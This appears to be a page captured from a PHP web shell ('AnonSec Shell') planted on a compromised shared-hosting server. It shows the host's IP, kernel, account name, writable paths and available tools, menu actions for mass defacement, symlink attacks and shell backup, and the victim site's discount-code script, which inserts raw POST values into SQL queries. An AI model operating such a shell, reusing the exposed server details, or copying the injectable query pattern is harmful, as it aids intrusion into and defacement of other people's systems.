AnonSec Shell
Server IP : 104.21.37.246  /  Your IP : 172.71.28.145   [ Reverse IP ]
Web Server : Apache
System : Linux cpanel01wh.bkk1.cloud.z.com 2.6.32-954.3.5.lve1.4.59.el6.x86_64 #1 SMP Thu Dec 6 05:11:00 EST 2018 x86_64
User : cp648411 ( 1354)
PHP Version : 7.2.34
Disable Function : NONE
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home2/cp648411/public_html/simded.com/wallpaper/backend/code/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home2/cp648411/public_html/simded.com/wallpaper/backend/code/add_save.php
<?php require_once("../include/class.php");?>
<?php include("table_name.php");?>


<?php
$date = date("Y-m-d H:i:s");
$arr_getnumber = explode('-',$_POST["expirationdate"]);
$expirationdate = $arr_getnumber[2].'-'.$arr_getnumber[1].'-'.$arr_getnumber[0];


if(@$_POST['num_code_set']==''){

	for($i=1;$i<=$_POST['num_code'];$i++)
	{
		$code_random =  substr(str_shuffle("0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"), 0, 5);
		$sql = array('table'=>$name_table,'where'=>"code='".$code_random."'");
		$view_sql = $view_db->view($sql);
		$row_c = $view_db->q($view_sql);


		if(@$row_c['id']){
			$code_random =  substr(str_shuffle("0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"), 0, 5);
		}else{
			$list = array(
				'table'=>$name_table,
				'code'=>"'".@$code_random."'",
				'money'=>"'".@$_POST['money']."'",
				'type'=>"'".@$_POST['type']."'",
				'max'=>"'".@$_POST['num_code2']."'",
				'expirationdate'=>"'".@$expirationdate."'",
				'status'=>'1',
				'createdate'=>"'".$date."'",
				'up_date'=>"'".$date."'"
			);

			$add = $actiondata_db->add_db($list);

		}
	}

}else{
	$list = array(
		'table'=>$name_table,
		'code'=>"'".@$_POST['num_code_set']."'",
		'money'=>"'".@$_POST['money']."'",
		'type'=>"'".@$_POST['type']."'",
		'max'=>"'".@$_POST['num_code2']."'",
		'expirationdate'=>"'".@$expirationdate."'",
		'status'=>'1',
		'createdate'=>"'".$date."'",
		'up_date'=>"'".$date."'"
	);

	$add = $actiondata_db->add_db($list);
//	print_r($add);
}




$sql = array('table'=>$name_table,'count'=>'MAX(id) AS max_id','where'=>"");
$view_sql = $view_db->view($sql);
$row = $view_db->q($view_sql);
$max_id = $row['max_id'];



//exit;
	$_SESSION['er'] = 'true';
	if( $add['suc'] <> 1)
	{
		$_SESSION['er'] = 'false';
	}

	if($_SESSION['er'] == 'true')
{
	$add = $User_db->log_Admin2($_SESSION["admin_cn_id"],$_SESSION["admin_cn_user"],$name_table,'add-'.$max_id);
}
?>
<meta http-equiv="refresh" content="0;URL=list.php">
<?php
exit;
?>

Anon7 - 2022
AnonSec Team